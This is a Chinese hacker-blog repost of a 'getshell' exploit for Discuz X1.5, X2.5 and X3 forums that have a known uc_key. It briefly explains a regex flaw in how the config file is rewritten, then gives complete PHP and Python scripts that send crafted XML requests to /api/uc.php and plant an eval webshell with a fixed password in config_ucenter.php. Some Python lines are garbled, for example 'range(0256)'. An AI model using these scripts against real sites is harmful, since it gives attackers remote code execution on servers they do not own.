记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Discuz X1.5 X2.5 X3 uc_key getshell exp

2014-02-17 11:10

知key得shell

$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);

这句代码是有漏洞的。
如果我第一次提交的是
\');phpinfo();

define那句就变成了

define('UC_API','\');phpinfo();');

那么我下一次提交呢?

非贪婪匹配会匹配到

define('UC_API','\');

phpinfo();就留下来了

==========================

利用代码:

==========================

<?php





$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里

$url = 'http://localhost/api/uc.php';

$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c

echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';

#curl或者用其他工具post提交



function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);



$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);



$result = '';

$box = range(0, 255);



$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}



for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}



for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}



if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}



}



?>

 

-----------------------------------------------

php版的exp代码,但uc_key和url是嵌入在代码中的,因此导致使用不方便。所以我将代码改成python版的,以后使用就方便了。代码如下:

使用方法:

 

  1. #! /usr/bin/env python  
  2. #coding=utf-8  
  3. import hashlib  
  4. import time  
  5. import math  
  6. import base64  
  7. import urllib  
  8. import urllib2  
  9. import sys  
  10. def microtime(get_as_float = False) :  
  11.     if get_as_float:  
  12.         return time.time()  
  13.     else:  
  14.         return '%.8f %d' % math.modf(time.time())  
  15.  def get_authcode(string, key = ''):  
  16.     ckey_length = 4 
  17.     key = hashlib.md5(key).hexdigest()  
  18.     keya = hashlib.md5(key[0:16]).hexdigest()  
  19.     keyb = hashlib.md5(key[16:32]).hexdigest()  
  20.     keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]  
  21.     #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]  
  22.     cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()  
  23.       
  24.     key_length = len(cryptkey)  
  25.     string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string  
  26.     string_length = len(string)  
  27.     result = '' 
  28.     box = range(0256)  
  29.     rndkey = dict()  
  30.     for i in range(0,256):  
  31.         rndkey[i] = ord(cryptkey[i % key_length])  
  32.     j=0 
  33.     for i in range(0,256):  
  34.         j = (j + box[i] + rndkey[i]) % 256 
  35.         tmp = box[i]  
  36.         box[i] = box[j]  
  37.         box[j] = tmp  
  38.     a=0 
  39.     j=0 
  40.     for i in range(0,string_length):  
  41.         a = (a + 1) % 256 
  42.         j = (j + box[a]) % 256 
  43.         tmp = box[a]  
  44.         box[a] = box[j]  
  45.         box[j] = tmp  
  46.         result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))  
  47.     return keyc + base64.b64encode(result).replace('=''')  
  48.  def get_shell(url,key,host):  
  49.     '''''  
  50.     发送命令获取webshell  
  51.     ''' 
  52.     headers={'Accept-Language':'zh-cn',  
  53.     'Content-Type':'application/x-www-form-urlencoded',  
  54.     'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',  
  55.     'Referer':url  
  56.     }  
  57.     tm = time.time()+10*3600 
  58.     tm="time=%d&action=updateapps" %tm  
  59.     code = urllib.quote(get_authcode(tm,key))  
  60.     url=url+"?code="+code  
  61.     data1='''''<?xml version="1.0" encoding="ISO-8859-1"?>  
  62.             <root>  
  63.             <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>  
  64.             </root>''' 
  65.     try:  
  66.         req=urllib2.Request(url,data=data1,headers=headers)  
  67.         ret=urllib2.urlopen(req)  
  68.     except:  
  69.         return "访问出错" 
  70.     data2='''''<?xml version="1.0" encoding="ISO-8859-1"?>  
  71.             <root>  
  72.             <item id="UC_API">http://aaa</item>  
  73.             </root>''' 
  74.     try:  
  75.         req=urllib2.Request(url,data=data2,headers=headers)  
  76.         ret=urllib2.urlopen(req)  
  77.     except:  
  78.         return "error" 
  79.     return "webshell:"+host+"/config/config_ucenter.php,password:1" 
  80.       
  81. if __name__ == '__main__':  
  82.     host=sys.argv[1]  
  83.     key=sys.argv[2]  
  84.     url=host+"/api/uc.php" 
  85.     print get_shell(url,key,host)

 


知识来源: www.hackqing.com/index.asp?FoxNews=1174.html

阅读:288572 | 评论:1 | 标签:exp

想收藏或者和大家分享这篇好文章→复制链接地址

“Discuz X1.5 X2.5 X3 uc_key getshell exp”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词